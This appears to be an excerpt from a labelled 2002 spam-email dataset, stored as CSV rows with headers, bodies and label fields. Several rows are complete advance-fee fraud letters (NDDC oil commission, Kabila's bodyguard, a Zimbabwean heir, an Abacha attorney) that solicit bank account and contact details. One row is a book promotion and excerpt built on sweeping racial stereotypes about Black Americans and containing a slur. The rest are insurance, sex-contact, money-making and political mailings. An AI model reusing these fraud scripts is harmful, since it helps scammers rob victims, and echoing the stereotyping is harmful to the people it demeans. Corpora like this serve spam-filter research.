colleagues in the NDDC are currently in need of a foreign partner with whose bank account we shall transfer the sum of Forty Nine Million Five Hundred Thosand United States Dollars($49.5m).This fund accrued to us as commission for oil sales contracts handled under our supervision. The fund is presently waiting in the Government Account named CBN/FGN INDEPENDENT REVENUE account number 400-939134 with J.P.MORGAN CHASE BANK,New York.You can do your independent verification of this. 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You must however note that this transaction, with regards to our disposition to continue with you, is subject to these terms. Firstly, our conviction of your transparency. Secondly, that you treat this transaction with utmost secrecy and confidentiality. Finally and above all, that you will provide an account that you have absolute control over. The transaction, although discrete, is legitimate and there is no risk or legal disadvantages either to ourselves or yourself now or in the future as we have put in place perfect mchineries that will ensure a hitch free transfer into your account upon acceptance. The transfer will be effected to your account within ten-fourteen (10-14) working days as soon as we reach an agreement and you furnish me with a suitable bank account and company name and address with all your contact numbers including fax number. I am looking forward to doing business with you and do solicit your confidentiality in this transaction, Please mail your response to me. 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PruLife Universal ProtectorSM offers competitive lifetime death benefit guarantee premiums. PruLife Universal PlusSM offers competitive minimum premiums to endow and competitive long term cash value accumulation. And that's not all. Look what else Prudential+ has to offer... _____ COMPETITIVE COMPENSATION Rolling Commissionable Target Premiums (R-CTP)++. First year compensation will be paid until the R-CTP is reached during the first 24 policy months. First year commissions that do not reduce at any issue age. COMPETITIVE UNDERWRITING Issue ages 0-90 Continuation of coverage beyond age 100 (policy has no maturity age). Preferred Non-Smoker category for cigar smokers, pipe smokers and smokeless tobacco users (nicotine patch and gum users also may be eligible if they have not smoked cigarettes in the last 12 months) Preferred Plus Smoker category for healthy Cigarette Smokers. Aviation: Preferred rates may be offered to commercial pilots and most student and private pilots who fly up to 200 hours per year, regardless of whether helicopters or fixed wing aircraft are flown. Treadmills not required for preferred rates for face amounts within our capacity limits Improved Ratings for Prostate Cancer, Hepatitis B & C Heart attack? Consider Prudential as soon as the prospect returns to normal activities Liberal Build Tables to qualify for Preferred rates INCREASED CAPACITY $70 million capacity without the need to discuss a risk with reinsurers. Facultative reinsurance may be available for cases in excess of $70 million. _____ Click our logo for the BGA nearest you! Click here for the NBC BGA Locator! ? or ? Please fill out the form below for more information Name: E-mail: Phone: City: State: National Brokerage Consortium * Minimum Premium to Endow is a hypothetical, non-guaranteed premium that, based on current charges and the current interest rate, would keep the policy in force to age 100. Interest rates and charges will change over time, as will the Minimum Premium to Endow. These premiums are shown as hypothetical figures based on the stated assumptions and are shown for comparative purposes only. The actual premium needed to keep the policy in force is based on actual results and may be higher or lower. ** All guarantees are based on the claims-paying ability of the issuer. + PruLife Universal Protector is issued by Pruco Life Insurance Company. PruLife Universal Plus also is issued by Pruco Life Insurance Company in all states except New Jersey and New York, where it is issued by Pruco Life Insurance Company of New Jersey, both Prudential Financial, Inc. companies located at 213 Washington Street, Newark, NJ 07102-2992. Each is solely responsible for its own financial condition and contractual obligations. ++ Available on contracts dated Jan. 1, 2002 & later. Not available in New York & New Jersey. Prudential Financial is a service mark of The Prudential Insurance Company of America, Newark, NJ and its affiliates. For financial professional use only. Not for use with the public. IFS-A072238 Ed. 7/2002 Exp. 12/2003 We don't want anyone to receive our mailings who does not wish to. This is professional communication sent to insurance professionals. To be removed from this mailing list, DO NOT REPLY to this message. Instead, go here: http://www.InsuranceIQ.com/optout Legal Notice ------=_NextPart_000_C2C45_01C258E6.DAEEA330 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Pru Life's UL Portfolio Rocks =20 =20   =20 =20 =20 Case = Closed! Permanent Life Insurance at Affordable = Rates Whether your clients are looking to pay the Minimum=20 Premiums needed to Endow* a policy at a specific age or = pay sufficient=20 premiums needed to guarantee** a death benefit for life, Prudential has the answer. PruLife Universal ProtectorSM offers=20 competitive lifetime death benefit guarantee premiums. = PruLife Universal=20 PlusSM offers competitive minimum premiums to = endow and=20 competitive long term cash value accumulation. And that's not all. = Look what=20 else Prudential+ has to offer... =20 =20 =20 COMPETITIVE COMPENSATION =20   Rolling Commissionable Target = Premiums (R-CTP)++. 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Although the security company does not know the content in the boxes deposited as we deposit it as personal effects of Mr. Laurent Kabila. It is in this respect that I seek your help to assist me in the investment of these funds before the present Government headed by the son will have knowledge of this money to avoid being taking away. On conclusion of this business, I shall compensate you with 45% of the fund, while 5% is mapped out for any expense we should encounter during the cause of transaction, and the remaining amount should be used to open account for my family for investment over there with your assistance. I need a profitable long-term investment plan with your company or you. Your terms, suggestions and ideas are required urgently. Expecting your prompt response. Also furnish me with your current E-mail address, Tel/Fax Numbers (Private) for a personal contact with you. NOTE: Please you can call or fax to the line above, it belong to my cousin, as he know the confidentiality, you can reach me direct on my mail above. Yours Faithfully, Capt JOHN OKELE E-mail: johnokele2@hotmail.com Private E-mail: johnokele@london.com ------------------------------------------------------- In remembrance www.osdn.com/911/ _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",1,1 """CAPT. JOHN OKELE"" ",zzzz@spamassassin.taint.org,"Thu, 12 Sep 2002 13:44:17 -0700",**urgent assistance**,"5, Meridian East Leicester LE3 2WZ Leicester City, United Kingdom Tel/Fax: 44-870-136-7079 Date: 09/11/2002 FROM: CAPT JOHN OKELE DEAR SIR, I got your contact through a Military friend who I did training with in your country, I am Captain JOHN OKELE the former Commander of the Security Guards of the late Laurent Kabila (former President, Democratic Republic of Congo (Africa), I am presently in self-exile with my wife and one child in remote Leicester City Britain, due to threat of the present Government headed by the son of Late Laurent Kabila after my life and my family to kill, saying that I know about the death of his father. I assisted Late President Laurent Kabila to keep US$35M (Thirty Five Millions) in a Security company during the War in My Country. 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My Dear , Good day.This very confidential request should come as a surprise to you.But it is because of the nature of what is happening to me and my family urged me to contact you, and I quite understand that this is not the best way to contact you because of the nature of my request and the attention it requires.I got your contact information from your country's information directory during my desperate search for someone who can assist me secretly and confidentially in relocating and managing some family fortunes. My name is Mr.Michael Kamah, the second son of Mr.Smith Kamah, of Beitbridge Zimbabwe.At the height of the present political crises in our country,in which the white farmers in our country are being slained and ripped off their belongings by the supporters of our president,Mr.Robert G.Mugabe,in their efforts to reclaim all the white owned farms in our country,my father and my elder brother were brutally slained to a painful death on the 13th of february,2002, in their struggle to protect some white farmers who ran to take refuge in our house.My father,during his life on earth was a prominent business man who trades on diamond and gold from some foreign countries .He publicly opposes the crude policies and crime against humanity on the white farmers by Mr.Robert Mugabe and his followers,which they enforced media law restrictions to protect their wicked acts.That not being enough,the president and his followers after winning the last undemocratic elections decided to block and ! confiscate all accounts and assets of our black indigenes[that included my fathers assets and accounts] who oppose his policies and render support to these white farmers,along with the assets of these white farmers themselves,that are being presently confiscated.I therefore decided to move my mother and younger sister to the Republic of South Africa,where we presently live without anything and without any source of livelyhood. During my fathers life on earth,he had deposited the sum of Eight Million and Six Hundred Thousand United States Dollars[$8.600.000.00],in a trunk box with a Finance and Security Company in the Republic of Togo for a cash and carry Diamond and Gold business with some foreign business customers, awaiting instructions to be moved to its destination,which he never completed before he met his untimely death on that faithful day.In view of this and as the only surviving son of my father,and with the present clamp down,killing and confiscation of his assets as one of those who render support to the white farmers in our country,I therefore humbly wish to inform you of my intentions to use your name and adress in making sure that this fund is lifted out of Africa finally,to the Europe office of the finance company and also seek for your honest and trustworthy assistance to help me clear and accommodate this money over there before it is dictated out and blocked by the present Mugabe's! regime.My mother is presently with the valid document covering this deposit. Now this is what I actually want you to do for me; 1. I want you to be presented to the Finance and Security company as the person I contacted to assist my family for this purpose, with whose name and adress myself and my mother will forward to them their office in the Republic of Togo as the person that will clear this money when they lift it out to their europe office. 2. To finally assist me in accommodating and managing this money in any lucrative business in your country for at least three years. Please,I hope you will grant and view this very request with favour and much understanding of our situation now,and will be a very honest and reliable person to deal with.And also bearing in mind the confidential nature of this my request,I emphasize please that you keep every bit of it to yourself so as to protect my familys future and yourself rendering this help.Thanking you in anticipation of your urgent response as soon as you read this very request. Best Regards, Mr.Michael Kamah and family. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. 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Since your mail reader does not understand this format, some or all of this message may not be legible. --=_NextPart_Caramail_0054031032174770_ID Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable SENIOR ADVOCATE OF NIGERIA BARR. WILLIAMS FALANA (SAN) Dear Sir, I am Barrister Williams Falana a member of Nigeria Bar Association (NBA).Your contact reached me through the World Business Encyclopaedia.Hence,I made up my mind to introduce this business to you in confidence for the mutual benefit of both of us. The sum of USD48M (Forty eight Million United States) was lodged into a security company here in the Country by the late Head of State (GEN.SANI ABACHA) for safe-keeping. This money was lodged in security vaults / boxes and labelled as personal belongings and as such the security company does not know the true content of the boxes.This money was originally meant to be used for his political campaign. Because I was his family Attorney as such he confided in me with the relevant document papers relating to this deposit before he died of cardiac arrest. As a matter of fact we have concluded all arrangement with an offshore Security Company to move this money as a consignment through diplomatic means to their offshore affiliated office where you will be required to put claim to the consignment as the bonafide beneficiary of the consignment. You should know that this business is safety and 100% risk-free as it does not involve drug money or Terrorist fund. If you are interested to carry out this transaction with me, 20% will be for you for your assistance, 5% for general expenses, and 75% for us. You are required to send by e-mail immediately your Full name and Address, which I will use to draft an agreement that will guide and protect both of us in this transaction also which will be used to effect the change of ownership of the consignment to your name as the beneficiary of the consignment. Also send me your Telephone and Fax numbers for easy communication Once you notify me your willingness by sending the above requirement.This transaction will be concluded within 7 (seven) working days. I will be waiting for your urgent reply.You can reach me on my Cell Telephone No: 234-80- 33055024 or my alternative E- mail: williamsfalana@caramail.com Best regards, Barrister Williams Falana {SAN} ______________________________________________________ Bo=EEte aux lettres - Caramail - http://www.caramail.com --=_NextPart_Caramail_0054031032174770_ID--",1,1 """Greg N. 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I shall explain further; have you ever passed by a typical ghetto community; namely the ""projects"" and noticed an unusual amount of fancy cars parked throughout that particular neighborhood, and wondered how could that be? Or maybe you have been to a shopping mall, and noticed an unusual amount of young ""teen looking"" black women carrying infants, or pushing baby carriages and often with a toddler in tow! Perhaps you also noticed that there was rarely any male companion accompanying them. If you paid close attention you might have also noticed the absence of the all important ""wedding band"" missing from their respective ring fingers!"" .And of course we have all heard stories of young black men carrying guns, and knives, allegedly mugging, robbing and carjacking people of all sorts! Did you know that many young African American women refuse to date African American males if they do not own or possess an automobile. In fact many young Black women prefer only to date individuals who represent the subversive side of society; commonly known as ""Thugs"" or ""Street Hustlers;"" Also, did you know that many young African American males prefer to buy expensive luxury cars while living in government housing better known as the ""projects"" rather than move away, purchase new homes, save, or even make investments? ""Attention"" This is Not another ""Boyz in the Hood"" Story! These newly distinguished ""Black Generation Xers"" are suffering through utter chaos. ""Baby Makers, Loser choosers, Welfare Abusers...Images of My America"" is a collection of observations, and commentary as told through the eyes of a young African American Male who experienced, and perpetuated many of the truths that many in ""Black America,"" and the world in general would have you believe do not exist. It is a riveting expose that sheds light on the oppressive, and often discriminatory nature of ""Mainstream American Society."" A society that has nurtured the rampant disregards for self-respect, and enlightenment that many young African American men, and women currently suffer from. The writer supports his arguments with direct references to the overwhelming numbers of young black single mothers attempting to raise children, with many being teens themselves; and the foolish criteria that is utilized when choosing their mates; oftentimes being based on nothing more than the young black male's tough or cool neighborhood reputation. The author also identifies the self-destructive and often criminal behavior that many young black men perpetuate on a daily basis like, refusing to pursue higher education, carrying guns, robbing, stealing, selling drugs, driving fancy cars, and wearing expensive jewelry. The negative and self-debasing behavior committed by both males, and females is due in large part to a lack of guidance resulting from having been reared in fatherless homes. These poor choices, and behavioral disorders coupled with the unnecessary burden that it places on tax paying citizens in the form of welfare abuse, and over crowded prison populations are the center causes for the cycle of rampant poverty, and lack of direction that currently exists in young ""Black America"" today. To learn more about this dynamic self contained society visit www.BlackRealityPublishing.com and reserve your copy today! To request an excerpt please email Books@BlackRealityPublishing.com Buy this soon to be ""Best Seller"" now! www.BlackRealityPublishing.com",1,0 """Aleksandar Gligoric"" ",List Member ,9 Sep 2002 10:11:56 -0000,SPS se odrekao Slobodana Milosevica,"Socijalisticka partija Srbije, predvodjena grupom starih socijalista na celu sa Milomirem Minicem, konacno se odrekla politike i herojskog drzanja predsednika te stranke Slobodana Milosevica, saopstenjima, da jedan ,,slabo obavesten covek ne moze, pogotovu ne iz zatvorske celije upravljati tako velikom partijom kao sto je Socijalisticka partija Srbije, pa zvao se on i Slobodan Milosevic''. Socijalisti koji za sebe danas kazu da vise nisu idolopoklonici Slobodana Milosevica, neprestano, u kontaktima sa clanovima i simpatizerima te partije, pokusavaju da razdvoje odbranu Slobodana Milosevica u Hagu, od politickog zivota u Srbiji, pripisujuci Milosevicevim braniocima iz nacionalnog komiteta za oslobadjanje S. Milosevica, ,,Sloboda'' da im je cilj da uniste Socijalisticku partiju Srbije. Iako je zbog istih takvih gledista, svojevremeno najpolularniji socijalista, posle predsednika te stranke, prof. Branislav Ivkovic bio iskljucen iz redova SPS, danas rukovodstvo SPS koristi jos teze i grublje kvalifikacije na racun njihovog predsednika, pritom ne strahujuci da bi bilo ko od njih mogao biti iskljucen iz partije. Ne retko se poslednjih dana, u rokovodstvu partije cuje da partija nije Slobodan Milosevic, i da on ne predstvalja tu partiju, vec da su partija Rukovodstvo i Glavni odbor te stranke. Medjutim u clanstvu i medju simpatizerima te stranke, stvari se ne odijaju bas po planovima rukovodstva. Procene idu dotle da se na septembarskim izborima ocekuje da Bata Zivojinovic osvoji tek 1% glasova. Clanovi partije, najveci deo njih i danas veruje svom heroju, Slobodanu Milosevicu. Po clanstvu partije, ovih dana u rukovodstvu partije, oni koji su predsednika te stranke pogresno informisali poslednjih godina, kada su shvatili da im je ,,odzvonilo'' pokusavaju da sacuvaju sebe eliminacijom predsednika Slobodana Milosevica. Mladi socijalisti, kojih i nema bas mnogo, kako se SPS svojevremeno hvalio, izgleda su na strani predsednika te stranke. Tako se u nastupima na opstinskim odborima, mogu cuti uverljivi govori Dejana Stjepanovica i Igora Raicevica, i po neki Milinka Isakovica iz redova mladih socijalista, clanova organizaciono politickog odbora predsednika SPS. Obracanja ovih mladih ljudi, medju clanstvom partije imaju do deset puta vecu tezuni, nego li obracanja profesionalnih politicara koji za sobom vuku teret proslosti. Stav rukovodstva mladih socijalista, se razlikuje od stava saveta mladih, koji su takodje na strani predsednika. Branko Ruzic i Dejan Backovic, svojevremeno najveci branioci i zastupnici lika i dela Slobodana Milosevica, danas su se pretvorili u njegove najvece kriticare. Pokusavaju na sve moguce nacine da minorizuju grupu mladih koja ga podrzava. Cak se poslednjih dana cuje, da je najbolji recept da se rukovodstvo mladih odrzi ikao je protiv Sloba, da se povezu rodbinskim vezama, pa se tako predsednik mladih socijalista Beograda, Ana Djurovic udala za Branka Ruzica, predsednika Mladih socijalista Srbije, koji je za kuma uzeo Dejna Backovia, svog potpredsednika. Backovic se ovih dana zeni, jednom mladom socijalistkinjom koja je clan saveta mladih, a u isto vreme i sestra jednog od clanova IO GO SPS-a, za kuma uzima jos jednog mladog socijalistu iz Saveta mladih. Sve u svemu, mladi u SPS se drze kao italijanske mafijaske porodice 60-tih u SAD. Sta ce se do kraja price dogoditi ostaje pitanje, no clanstvo i simpatizeri ce oceniti rad svog rukovodstva na predsednickim izborima. Pimato se samo, sta ce da rade, ako im Bata prodje losije od Seselja koga je predsednik Slobodan Milosevic podrzao za predsednickog kandidat? _______________________________________________________________________ Powered by List Builder To unsubscribe follow the link: http://lb.bcentral.com/ex/sp?c=15279&s=90B245569C3B981A&m=4",1,1 "<""Books@Books""@BlackRealityPublishing.com>",,"Mon, 9 Sep 2002 17:20:53 +0000","Free Excerpt; Baby Makers, Loser Choosers, & Welfare Abusers...Images of My America!","Foreword After thirty?three years of being a black man living in ""Ghetto America,"" an environment notorious for danger, crime, and poverty, I have made startling discoveries involving young African?American men and women who comprise what I have come to define as the ""Black Generation X"". I have become aware that there is no formal distinction separating young African?Americans from the general definition of ""Generation X"". Aside from it being regarded as the generation that followed ""Baby Boomers"", it's important to point out there is no root definition for this term as well. Since the theme of this work is centered on identifying the realities and misconceptions of young African?American culture, I have chosen a definition that incorporates all of the components that were part of my birth, childhood, and young adult life. Taken from a web site entitled ""Generation X"", created and maintained by the Colorado College, the definition is as follows: ""We are a group of people born between 1961 and 1981. We are individuals who live for the 'here and now', like to experiment, and who require immediate results. We are typically selfish, and cynical, and depend a lot on our parents. We question authority, and feel like we carry the burden of the previous generations. It's that simple. It seems we have come to be called ""Xer's"" simply because we represent something negative to our elders. We may be the one thing all of the generations that precede us have in common, that is the ability to speak assuredly about our shortcomings. Of course, they overlook the fact that we are their responsibility, or actually their fault. Our generation will be called upon to look after our parents knowing they failed to look after us. Intergenerational justice failed somewhere along the way and it will be our task to either rectify it or make it worse."" ""We are a group of individuals who grew up with no one at home after school. It appears we have little hope for the future. No jobs, no homes, and basically no money are almost expected of us. These bleak prospects, along with the fact that we will be forced to support the largest amount of senior citizens ever, do not provide much hope. Some believe that these blockades will be too much for us to handle and we will for the most part fail at life, but many see our individualism and resourcefulness that has been built up through our childhood, as our saviors. We will soon discover who is right and who is wrong."" This definition is important because it demonstrates the widely held belief that Generation X is comprised of one core group of American citizens. It over generalizes the similarities it expresses, and applies them to all those who were born within the corresponding years. When in fact these ""similarities"" speak primarily to only ""white"" issues and concerns. For instance, ""they"" say ""we"" depend a lot on our parents, but in ghetto America ""we"" could only depend on one our mothers! ""They"" also say, "" . . .we feel like we carry the burden of previous generations,"" and "" . . . we will be forced to support the largest amount of senior citizens ever."" In ghetto America, no one ever gives these issues any thought because survival is in the here and now, and is all ""we"" have time for. I have known for many years that the differences that separate Generation Xer's black and white occupants would eventually be identified. I never knew I would be the one doing it. Extracting the ""Black"" from ""Generation X"" and categorizing it for its own sake is a necessary and important contingency. Without doing so, the social ills that plague Ghetto America would be lost within the generalities that are explained away as part of a collective American identity. There are many hidden truths that exist in black America today. ""White America"" charges that we spend our time collecting welfare, refusing to vote, reading elementary styled books, watching music videos, day dreaming of becoming rappers, basketball players, selling drugs, and making babies. Much of this is supported in Marlon Riggs's documentary entitled ""Ethnic Notions."" When African Americans are mentioned, whites typically envision an image that is strikingly similar to the one that graces the cover of this book. A reality that I confirmed while watching ""Roger & Me,"" another documentary written, and directed by Michael Moore. Sadly, many of us have begun to validate this skewed image, while others bend over backwards in an attempt to pretend we do nothing of the kind, only to be contradicted and embarrassed when presented with the daily programming line up for B.E.T. (Black Entertainment Television). Many of us fail to realize, that whatever embarrassment or shame the ex posed truth may reveal, should be taken as an opportunity to improve, empower, enlighten, and ultimately change anyone who is guilty of perpetrating this kind of behavior. Regarding Black Women: I have known many in my life and although each has had unique attitudes and personalities, I began to notice the majority of them shared the same collective mentality toward black men as a whole-that black men owed them something, and are required to provide and fulfill what was missing from their lives, be it emotional, physical, or economical. Normally that type of assertion would not warrant opposition from me, so long as a reciprocal attitude was extended. In most cases, it has not been. It's funny though, looking back, I am surprised I never paid any attention to the beliefs and attitudes that different black women subscribe to, or the various schools of thought they possessed. Many have placed strict demands and presumptions on the African?American male, some fair and some unfair. Much of what the public believes and understands about the black female's social structure is often filtered by others in the black community who believe these inaccurate and frequently positive representations will somehow change the reality that is. What originally sparked my attention was an observation I stumbled upon while skimming through and reading books related to black male and female interaction. I noticed virtually all of the books I read in the genre depict an inaccurate and misleading concentration on the affluent African?American perspective. These stories and commentaries tend to suggest that all African?Americans thrive on a middle?to?upper class professional level. They relay stories of relationship problems with ""Huxtable?like"" bachelors and bachelorettes whose only concern is why the other has not confessed his or her love. As I read these stories I couldn't help but become irritated by the blatant omission of the prevailing majority of blue collar or ""working class"" African?Americans. Although there are those in the black community that can identify with the ""Huxtable?like"" dynamic, unfortunately, they are few and far between. The majority of stories I have read seem to be geared toward fantasizing and romanticizing the oppressive state of affairs that have plagued Black America. The black authors who have written these books fear the potential backlash awaiting anyone who would dare air out our ""dirty laundry"". The fact is, truth should never be stifled by fear of any kind. I recently had a candid conversation with some very dear female friends who stated that although they fully acknowledge the terrible state of affairs many of our women are currently drowning in, they felt that publicizing their predicament would be viewed as a form of betrayal. As our discussion intensified, I reminded them that the only way change can be effected is by increasing public awareness that change is needed, and oftentimes, not exposing the truth can be more crippling than the truth itself. The purpose of my book is in essence an attempt to change the self?destructive thinking and self?imprisoning behavior that ""black male and female generation X"" have been subscribing to. While discussing this with my friend, she suggested I simplify my writing style so my potential black readers could better understand what I'm attempting to convey. Acknowledging the real possibility of my message being misunderstood, I suggest to those readers that if they want to fully appreciate the finer points of this narrative-to grab a dictionary. (Don't feel bad-there were several times I had to as well!) Regarding Black Men: An overwhelming number of us have become preoccupied with being cool, buying sports wear, driving expensive cars, wearing gold or platinum jewelry, and often without legitimate personal wealth and while living under the most deplorable conditions! I have chosen to address this rarely acknowledged side of African?American culture because I have lived it. I have seen the chaos and futility that exists on this level. It is a world of ignorance, selfishness, pre?occupation, and idiocy. In my world there are people who applaud a lack of education, who brag about having served time in U.S. penitentiaries, the types of guns they carry, dope peddling, and chasing women. They champion the notion of having children without any regard to the poor environment many of them currently inhabit. In this world, wearing expensive clothes and carrying fancy handbags is mandatory even if it means spending their last dollar in order to look like they've got a million. It's a world where children dress in over?priced sports wear, mimicking and idolizing whatever popular athlete or rapper is currently in the public eye. Thinking, such as the belief that fancy clothes are what define one's self?worth, and the possible corruption this thinking breeds, seems to not be an important concern for black mothers. It may come as a shock to know that most African?Americans feel that those who don't have the same, if not better, material possessions, are lesser beings, referring to them as being corny, lame, or broke. Even our ""male rapper"" entertainers promote backward priorities-nothing else matters as long as you look good. ""The Big Tymers"", a popular rap duo, have a song called ""I'm Still Fly"", shown in heavy rotation on B.E.T. and played regularly on black radio stations throughout the country. (""Fly"" is ghetto vernacular for well dressed, also used to describe a female's beauty). Its signature verse asserts: ""I got gator boots with a pimped out Gucci Suit, can't pay my rent cause all my money's spent, but that's O.K. cause I'm still fly."" Worse yet, in the song ""Grinding"", the popular duo ""Eclipse"" glorifies the selling of illegal drugs in inner city neighborhoods as children play and dance throughout the entire video. (The term ""grinding"" is ghetto vernacular for the selling of illegal drugs) The fact that this song and video is also shown in heavy rotation on B.E.T. is further evidence that our world is in utter turmoil. Some of the key lyrics to this song are ""grindingyou know what I keep in the lining"" (the area in their coats where they hide illegal drugs) and ""Patty cake Patty cake I'm the bakers man I bake them cakes as fast as I can and you can tell cause of how my bread stack up and I disguise it as rap so the feds backup"" In this verse, the group refers to the process of cooking cocaine and its transformation into cocaine base or crack. When created it is compressed into the form of a large cookie with the average diameter being the size of a typical cake. (hence the term ""cake"" or sometimes ""pie"") Unfortunately for the rap genre, this song seems to strengthen the long standing argument posed by most whites that rap music is nothing more than an entertainment medium catering to violent drug offenders, who want and do nothing more than carry guns and break the law. The negative references I've identified have become an integral part of the urban African?American existence. This mutated reality is ridiculous and unacceptable. This ideology should not be permitted to continue any longer than it already has. There is an overwhelming part of the African?American community that is aware of this crippling mentality. There are also many that are unaware and unfortunately, more that do not even care. Those of us who are in the know have a responsibility to educate and enlighten those of us who are not aware of the negative behavior being perpetrated daily. Whether because of habit or misguided values, this type of ideology is cyclical and thrives off of ignorance. It should be apparent to us all that we cannot wait for some other race to come and save us. We must save ourselves! I am well aware that many of you are probably furious by now, and are thinking, what right do I have to express the opinions I have thus far, as well as those I have al luded too. I have chosen to chronicle my experiences because of the diversity and seriousness of their content. There is far too much negativity thriving within our culture. There must be acknowledgment and accountability for the truth, whether good or bad. I am aware that not all of ""us"" have succumbed to the crippling mentality that is rampant in our community, and I have chosen to concentrate on individuals who have had a profound impact on my life. Any similarities and generalizations I illustrate are directed solely toward individuals in the black community who share the collective negative thinking and behavior that will hereafter be identified. Additionally, throughout this book I will refer to African?Americans in four different ways; the first being ""African?Americans"", denoting our status as citizens in the United States; secondly, as ""Black"", a reference that identifies and defines our differences and struggles in this country; third, as ""Niggas,"" a term which is often misunderstood and should not be confused with ""Nigger"". The term ""nigga"" has become an accepted form of reference among young black males used to express friendship (hence the term ""My Nigga"") as well as a blanket reference when speaking to, of, or about other black males in a non?personal manner. I felt it necessary to make this distinction because many of the experiences I will refer to mandate the use of the term to effectively communicate the attitude and mood that existed during the time each story took place; and fourth, as ""Ghetto"", this term is largely intended as an internal reference commonly understood by blacks as a means to define the less polished members of our community. It is important to note that the use of either term has no negative connotation and is therefore not to be associated with any feeling as such. My commentary is based on real?life situations, both good and bad, and how one African?American man was affected by them. To that end, I feel it is necessary to acknowledge that my intention is not to condemn the individuals I have encountered. Despite the negativity they have displayed, I only want to make them aware that the selfish and self debasing attitudes they subscribed to, in many ways, has caused them to become their own worst enemy. In the case of the black female's negative and limited perspective toward black men, the world, and subconsciously themselves, I submit that this mentality is perhaps single?handedly responsible for the lack of success, happiness, and quality of life that is at the center of every African?American woman's fantasy quest. It is also important to note that the selfish and negative attitudes at the core of the tension that exists between black women and men, has been deliberately created by ""White America"". For example, much of the existing resentment between black women and men can be traced as far back as slavery on up to present day. Many past issues have taken on new identities and have re?emerged in the form of corporate acceptance of black women and the corporate exclusion of black men. The resulting economic independence that some black women now enjoy has caused them to challenge and judge the black man for his absence within corporate America, without realizing and ackno wledging that this absence is by design. There are other ""core"" issues that have been passed down and nurtured from generation to generation, such as color barriers, light skin versus dark skin, good hair versus bad hair, loyalty, devotion, and economic status. Believe it or not, there was once a time when black women refused to date a black man if he didn't sell drugs or was not ""thugged out"". (a term for being rough or hoodlum-like) The reasoning behind it being that the ""thug,"" and ""drug dealer"" lifestyle was synonymous with financial independence. These issues, among others, relate directly to the confused mentality that exists within our internal society. Sadly that ""confused mentality"" is responsible for much of the neglect the African American ""ghetto"" community receives at the hands of our more affluent brethren. Who have locked it away in the basement, and seems to be more concerned with convincing the rest of the world that ""ghetto America does not exist. Furthermore, the lack of acknowledgement of which I speak should not be confused with the impoverished masses of the African American community. Their plight is a well-known reality, but in many cases much of ghetto America falls under that same umbrella. Be advised: this book is not a colorful or lighthearted look into ""Black America"". Rather it should be viewed as a legitimate tool for identifying and changing the backward thinking that so many young African Americans (including myself) have come to perpetuate. Moreover, that ""backward thinking"" is the main cause of our inability to strive for a common goal. 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Socijalisti koji za sebe danas kazu da vise nisu idolopoklonici Slobodana Milosevica, neprestano, u kontaktima sa clanovima i simpatizerima te partije, pokusavaju da razdvoje odbranu Slobodana Milosevica u Hagu, od politickog zivota u Srbiji, pripisujuci Milosevicevim braniocima iz nacionalnog komiteta za oslobadjanje S. Milosevica, ,,Sloboda'' da im je cilj da uniste Socijalisticku partiju Srbije. Iako je zbog istih takvih gledista, svojevremeno najpolularniji socijalista, posle predsednika te stranke, prof. Branislav Ivkovic bio iskljucen iz redova SPS, danas rukovodstvo SPS koristi jos teze i grublje kvalifikacije na racun njihovog predsednika, pritom ne strahujuci da bi bilo ko od njih mogao biti iskljucen iz partije. Ne retko se poslednjih dana, u rokovodstvu partije cuje da partija nije Slobodan Milosevic, i da on ne predstvalja tu partiju, vec da su partija Rukovodstvo i Glavni odbor te stranke. Medjutim u clanstvu i medju simpatizerima te stranke, stvari se ne odijaju bas po planovima rukovodstva. Procene idu dotle da se na septembarskim izborima ocekuje da Bata Zivojinovic osvoji tek 1% glasova. Clanovi partije, najveci deo njih i danas veruje svom heroju, Slobodanu Milosevicu. Po clanstvu partije, ovih dana u rukovodstvu partije, oni koji su predsednika te stranke pogresno informisali poslednjih godina, kada su shvatili da im je ,,odzvonilo'' pokusavaju da sacuvaju sebe eliminacijom predsednika Slobodana Milosevica. Mladi socijalisti, kojih i nema bas mnogo, kako se SPS svojevremeno hvalio, izgleda su na strani predsednika te stranke. Tako se u nastupima na opstinskim odborima, mogu cuti uverljivi govori Dejana Stjepanovica i Igora Raicevica, i po neki Milinka Isakovica iz redova mladih socijalista, clanova organizaciono politickog odbora predsednika SPS. Obracanja ovih mladih ljudi, medju clanstvom partije imaju do deset puta vecu tezuni, nego li obracanja profesionalnih politicara koji za sobom vuku teret proslosti. Stav rukovodstva mladih socijalista, se razlikuje od stava saveta mladih, koji su takodje na strani predsednika. Branko Ruzic i Dejan Backovic, svojevremeno najveci branioci i zastupnici lika i dela Slobodana Milosevica, danas su se pretvorili u njegove najvece kriticare. Pokusavaju na sve moguce nacine da minorizuju grupu mladih koja ga podrzava. Cak se poslednjih dana cuje, da je najbolji recept da se rukovodstvo mladih odrzi ikao je protiv Sloba, da se povezu rodbinskim vezama, pa se tako predsednik mladih socijalista Beograda, Ana Djurovic udala za Branka Ruzica, predsednika Mladih socijalista Srbije, koji je za kuma uzeo Dejna Backovia, svog potpredsednika. Backovic se ovih dana zeni, jednom mladom socijalistkinjom koja je clan saveta mladih, a u isto vreme i sestra jednog od clanova IO GO SPS-a, za kuma uzima jos jednog mladog socijalistu iz Saveta mladih. Sve u svemu, mladi u SPS se drze kao italijanske mafijaske porodice 60-tih u SAD. Sta ce se do kraja price dogoditi ostaje pitanje, no clanstvo i simpatizeri ce oceniti rad svog rukovodstva na predsednickim izborima. Pimato se samo, sta ce da rade, ako im Bata prodje losije od Seselja koga je predsednik Slobodan Milosevic podrzao za predsednickog kandidat? _______________________________________________________________________ Powered by List Builder To unsubscribe follow the link: http://lb.bcentral.com/ex/sp?c=15279&s=54EE057E0B6864FB&m=5",1,1 =?Big5?B?qfap9qXNrKG69A==?= ,undisclosed-recipients:;,"Wed, 11 Sep 2002 17:19:10 +0800",=?Big5?B?rEKq96SjrE5+fqdPtsykRn5+?=,,1,1 K1-Sexkontaktmagazin ,,"Wed, 11 Sep 2002 20:06:00 +0100",Sexabenteuer gefllig?,"This is a Multipart MIME message. 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Try it for free!,"------000000000000000000000 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit CONSANTLY being bombarded by so-called FREE money-making systems that teases you with limited information, and when its all said and done, blind-sides you by demanding your money/credit card information upfront in some slick way, after-the-fact! Yes, I too was as skeptical about such offers 